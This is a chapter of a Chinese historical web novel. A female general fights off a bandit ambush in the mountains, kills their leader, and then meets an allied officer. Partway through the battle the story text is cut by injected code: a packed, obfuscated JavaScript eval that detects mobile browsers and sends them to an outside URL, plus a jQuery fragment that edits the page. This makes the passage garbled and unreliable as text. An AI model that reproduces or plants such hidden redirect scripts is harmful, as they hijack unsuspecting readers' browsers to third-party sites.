111. 剿匪

作品:《青禁客

    祭祖日当日,天色尚未吐白,殿外晨雾也未化开。二人一前一后出了门,一个朝太庙方向而去,一个策马向华东门行去。


    分别时,谁都没有开口。


    邓夷宁只短暂的看了他一眼,便抬手理了理甲胄上的束带,随后转身上马,身影果断,亦不知李昭澜站在殿门外久久未曾离去。


    丘北离大宣城千里,山川险阻,道路狭窄。此次随军仅五千,还称不上精兵,好在二殿下所在枝靖府驰援三千。可总计八千兵力对丘北局势而言,不过杯水车薪。


    所幸粮草车队备得充足,能解燃眉之急。


    宫里的这些驻军对邓夷宁的名号并不陌生,但见到本人那刻,难免生出怀疑之心。


    细胳膊细腿,皮肤也如涂了胭脂粉末那般细腻,怎么瞧也不像是善战之人。军中将士虽从未涉足沙地,却也经历过不少的战斗,军中规矩,胜者为王,所以那几日在兵部的训练场地,总是能瞧见邓夷宁打斗的身影。


    行军第三日,踏足郅州地界,辎重车陷入泥潭,邓夷宁担负车头之责,独身一人在最前拉车。


    第八日,出了郅州,驻扎于岐山山脚。篝火连成片,火光映着她的面庞,眉目间皆是倦意。


    她算过路程,日夜兼程,只需两夜三日便能翻过岐山,抵达平原上处。此后的路也好走起来,只是扎营成了问题。


    山上风大,又多是坡地,邓夷宁只能当起表率,领一队人马先行一步,翻越岐山为众人驻地。


    夜风呜咽,山林深处松影重叠。邓夷宁立在坡前,手中火把高举,照亮前方。


    “再往上百丈就是风口,”她转身,面对身后几人,“从这条小路绕行,过去就能见平原,扎营地选在水源附近,地势要开阔,不能过多砍伐树木。”


    一队人应声,钻入树林。


    “将军,这路得小心,听闻岐山匪患众多,他们就喜欢埋伏在这等小道之中。”


    邓夷宁拽开披风,收紧缰绳,马匹缓缓停下。


    “诸位小心脚下,山匪善用陷阱,捕网或是深坑。若是不慎落入陷阱,定要立马逃出。他们不会手下留情,放冷箭亦是惯用手段。”邓夷宁调转马头,“前路兵分两队,拉开距离,切勿着了他们的道。”


    “是——”


    树林深处几乎是一片漆黑,邓夷宁抽出佩剑,率领二人先行一步。马蹄踏在枯叶上,发出清脆的沙响,不过几十米远,她忽然眯起眼,抬手挥剑,示意众人停下。


    屏息,寂静中,除了风声和时而飞过的鸟,根本听不见什么动静。她忽然翻身下马,拾起一块石头,掷向前方。


    嗖——


    石头落地瞬间,几支箭从四面汇聚,扎在落地的位置。


    “小心点,路上的枯叶不会突然增多,若是看见枯叶堆积,有八分都是陷阱。”


    畅通半路,正当众人放松下来,一支箭突然射过来,若非邓夷宁躲得及时,只怕早已中箭。


    副将开口:“何人!”


    “过我雄三的道,银子呢?留下!”


    她猜,应是方才陷阱被识破,他们察觉来者不善,便赶在几人前面设下埋伏。邓夷宁环顾四周不见人影,谨慎开口:“银子没有,天子脚下,岂能有抢取之道?”


    林中传出阵阵窸窣声,火把的光微弱,照不出三丈远。那笑声从四面八方传来,阴恻恻的,还带着戏谑的臭气:“哟,还有个带劲的娘儿们,听这声音,定是不俗的小官娘。”


    “哈哈哈哈——小官娘又如何,到了这山里,还不是要在三哥的屋子里成宿成宿的哭。”


    笑声不断,少说得有十人。跟在邓夷宁身后的两人跟了上来,见状也跟着戒备起来。


    邓夷宁扬起下巴,目光冷定,手腕翻转,长剑发出轻微的嗡鸣,厉声道:“有本事出来,躲躲藏藏的,算什么爷们。”


    “有脾气,我喜欢。兄弟们,姑娘留下,其余的——杀!”话音未落,只见十余人从暗处一齐冲出,刀光火影乱作一团。


    “保护将军!”副将高喊。


    邓夷宁却起身一跳,翻出几人的包围。长剑横斩而出,寒光乍现,竟照亮一线。那冲在最前的山匪只觉喉头一凉,气还未喘上,人已经倒地。


    “小心暗箭!”


    山匪越聚越紧,校长喝骂声夹杂着野气,带血的刀锋在黑夜中乱舞。


    邓夷宁剑尖一挑,反手斩断偷袭而来的弯刀,趁对方愣神之际,脚下腾跃而起,刀剑翻飞,指向来人侧颈。血花迸溅,朝她面部而来,她来不及躲闪,被脏血沾了一脸。


    “都给我上!”瞬间,场上又多了数十人,邓夷宁不怕人多,就怕山匪使坏。


    忽然,她暗骂一句,当真是怕什么来什么。


    地上忽然冒出烟雾,将几人包裹围绕,视线受阻,加上她眼睛里又进了血,更是雪上加霜。几人立马捂住口鼻,生怕是迷药一类的东西。五人越收越紧,最后背贴背,刀剑冲外。


    山匪既敢用此物,必在周围设伏。迷魂烟多是腐草与硫粉混合,借风之势,越散越浓。邓夷宁想,他们不会蠢到在顺风处设下埋伏,只要他们动作够快——


    她陡然抬头,高处长柱随风摆动,立马道:“往东撤,速度快点,在雾气散开前找好掩体。”


    话音刚落,几支箭破空而出,在黑夜中格外清晰。她几乎是凭直觉侧身躲开,又一把推开身后的人。


    一支两支,直到第六支箭,她来不及躲开,擦过她臂膀,划出血痕。她翻身而出,就近躲在一棵大树后,却见他们之中也有人受了伤。


    寡不敌众。


    “风口上五十步远,弓弩数量不知,但杀伤力不够,保持距离。”


    在她身后的两人立刻会意,一人抛出火折子,一人将腰间火药粉包投掷。火光瞬间冲出树林,照亮整片密林,只见远方陡坡的灌木丛后影影绰绰,少说十几人。


    “疯了吧,为了劫财,竟带三十多人前来。”副将也看清了形势,骂道。


    “火药还有多少?”


    “还有四包,但火折子不够,我这里只有一支了。”


    邓夷宁从腰间取出一支递给出:“我这里还有,拿着。”


    火药的烟又呛又迷眼,山匪头子似乎是骂骂咧咧的现了身,声音格外敞亮:“狗日的,给大爷滚出来,敢炸你大爷的——给我搜,剁了那几个爷们,绑了那女的,重重有赏!”


    副将小声骂他:“真他娘的没素质——”


    “小娘们,出来给你大爷我爽爽,保证让你那个兄弟活着出去,如何?”


    邓夷宁不为所动,倒是他们几个听不下去,蠢蠢欲动。她拦住几人,放话:“再放炸药,把他们的箭逼出来。原地找点石头往里扔,有什么扔什么。”


    几人动作迅速,只是片刻,脚边便堆满了东西,等火光冲出的瞬间,脚边的东西一股脑全被丢出,山匪头子躲避不及,中了石块,在烟雾里嚎叫着骂他们。


    紧随而来的,是铺天盖地的箭。


    “你们二人一队,护好对方,分左右翼包抄,我去对付领头的!”


    “将——”


    话还未出口,邓夷宁便是将佩刀先行丢出,对方果然一拥而上,只是烟雾还未彻底散去,依旧看不清她的身位。


    邓夷宁方才在树后扯了块布,此刻围在口鼻间,虽没什么大用,但比起那些山匪被呛得迷眼,倒算得上游刃有余。


    灰烬被风卷着乱舞,邓夷宁持剑而出,脚下轻点,几乎在瞬间就跃上上坡的乱石。持弩之人被突如其来的贴面吓了一跳,忙手忙脚抽出弯刀对峙。


    三刀迎面而来,一并朝着不同的部位砍来,她抬腕抗下第一刀,反手一挥,顺着对方的脖子一抹,血溅三尺。另一人趁势绕至她背后,竟直接持箭朝她后颈扎来。


    邓夷宁听声而动,未回头,剑身折反,下腰,扫腿,一举躲开。偷袭者闷哼着后退几步,手中之物被砍成两段。


    其余人也不甘示弱,有刀上刀,没刀就重新占领高处,在背后放冷箭。


    “这娘们不好对付!”山匪头子喊道,“兄弟们小心!”


    山匪立刻变换阵法,不再正面硬拼,反而四处游走,多人齐上,专挑她视野盲角下手。


    邓夷宁心知他们善于山战,熟谙地势与埋伏之法,若不尽快脱身,反易被困。


    “掩我两侧!”她低喝一声。


    身后两名将士立刻挥剑而来,替她守好身后。邓夷宁顺势破开一个口子,解决两人,横斩斜劈,似流水般连贯。


    一心倒是可以二用,但架不住箭弩的攻击,她的腿和手不知被划破了多少口子,此刻牵扯起来疼痛无比。趁着她喘息间,山匪头子竟不知从何处翻滚而出,用短刀狠狠刺向她脚踝。


    邓夷宁闪避不及,挨了一刀,却又立马收腿反身而过,反手一勾,将那短刀挑飞出去,正中自己人身上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639125|166329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你娘的——”山匪头子咬牙切齿,从背后拔出一物,对准她胸口。


    副将闻声回头,见他手中之物,大喊一声:“火铳!将军小心!”


    火光一闪,伴着“轰”的一声响动,喷出一团火舌。


    邓夷宁几乎是凭着本能躲闪,火光擦着她的耳朵掠过,带起一缕灼烧的胶味。小石子在空中炸开,她吃痛叫出声。


    响声惊动了林间栖鸟,山林回荡。


    她单膝跪地,喘息间抬眸,眼底闪过一丝狠意。火铳响的瞬间,朝她而来的还有几支冷箭,腰腹处不慎中招,她吐了口血,抹去下巴上的血渍,支着长剑起身。


    那火铳是旧制军制,火力虽猛,但填装极慢。山匪头子正得意未久,便被她一眼识破。


    “就一炮吗?”


    头子愣了下,手忙脚乱地往怀中掏火药,却在握住枪口时被灼伤指尖,吃痛收回。


    “这等火铳,军中早就不用了,劣等物品,与你们这等鼠辈恰好相配。”邓夷宁起身疾冲,脚下尘土飞起,剑刃带出一线寒光。


    山匪头子还来不及换刀,只觉腕部一痛,握着火铳的那只手整齐掉落。那人瞪圆了眼,还未惨叫出声,又是一刀掠过他颈。


    片刻,气绝身亡。


    周围的山匪见状纷纷逃窜,副将几人皆受伤无数,几人围拢上前,气还未喘匀,惊道:“将军——你腿上!”


    邓夷宁垂眸一看,伤口已浸透裤子,血沿着靴蜿蜒,一滴滴落在地上。她吸了口气,却只是抬手抹了把汗,镇定道:“无妨,检查尸体,即刻启程。”


    副将一瘸一拐上前,布条不多,她简单替邓夷宁包扎后,余下的只够两人使用。


    “耽搁时间太多,副将带领一人返回大路,告诉他们小心山匪再次来袭。其余二人,随我前进,务必要将帐营之地安排好。”


    “将军,还是你留下吧,你的伤比我们严重,得尽快处理。”


    几人迅速清理战场,山匪尸首横陈,血腥气愈发浓重。邓夷宁看了眼火铳残片,眉头紧蹙。


    旧军制器械早被大宣收回,如今他们所用乃火力更猛之物,山匪一般抢不到这等物品,若非有人供给于他们,只怕是这辈子也难见。


    她一言不发,将火铳取出,用布条包着放入腰间,再道:“别废话,我自有安排,走了。”


    三人拖着带伤的身子,沿着山道一路南下,虽未再见到山匪,但也未放松警惕。天色将明未明,东方隐有一抹鱼肚白。


    半山处是一处开阔平地,靠近小溪,背山面林,地势不坏。


    “就在此地歇息。”


    找了木柴,三人搭起一个火堆,邓夷宁找了块石头坐下,半侧身子,解开腿上的布条。伤口翻出血肉,跟布料已经粘在一块,只好强忍着痛撕下。


    火堆的烟气缭绕着湿冷的气味,邓夷宁满头冷汗,疼的直抽气。


    “将军——”拾柴的士兵一路小跑过来,压低声音,“前方有马蹄声,人数众多,不知身份。”


    邓夷宁迅速将布条重新往伤口一缠,起身道:“熄火,隐蔽。”


    三人迅速散开,蹲伏进林间。火堆被覆上泥土,只剩一点黑烟在空气中飘散。


    马蹄声渐近,沿着山道呼啸而来。片刻之后,十余骑兵冲出林口,暴露在阔地之中。为首是个身着甲胄的男人,腰佩长刀,背后还有把弓箭,看不清面容,但想来来者不善。


    男人翻身下马,四处查看,看见火堆还冒着热气,警惕道:“何人在此。”


    无人应。


    他身后之人匆匆赶来,近身男人说了几句话,男人再次环顾四周,道:“枝靖府铁翼营副将傅一鸿在此,敢问此处安营扎寨之人,可是西戎女将?”


    林叶晃动,邓夷宁冷眼观望,未动。


    傅一鸿等了片刻,忽命身后之人放下兵刃,众人依言而行,他又道:“末将奉靖王之命特来相助,看此情形,女将可是遇到了手持火铳的山匪?”


    闻言,邓夷宁这才悠悠出声:“我可不认识什么靖王,尔等假传皇子口令,可知是死罪。”


    “女将不必如此,我等确实奉靖王之命。”傅一鸿扯下腰牌,高举头顶,“此腰牌乃枝靖府铁翼营所属,我等不敢冒充,还请女将明辨。”


    目光扫过此物,半晌后,邓夷宁负手而出。


    见此,傅一鸿上前道礼:“末将傅一鸿,见过女将。”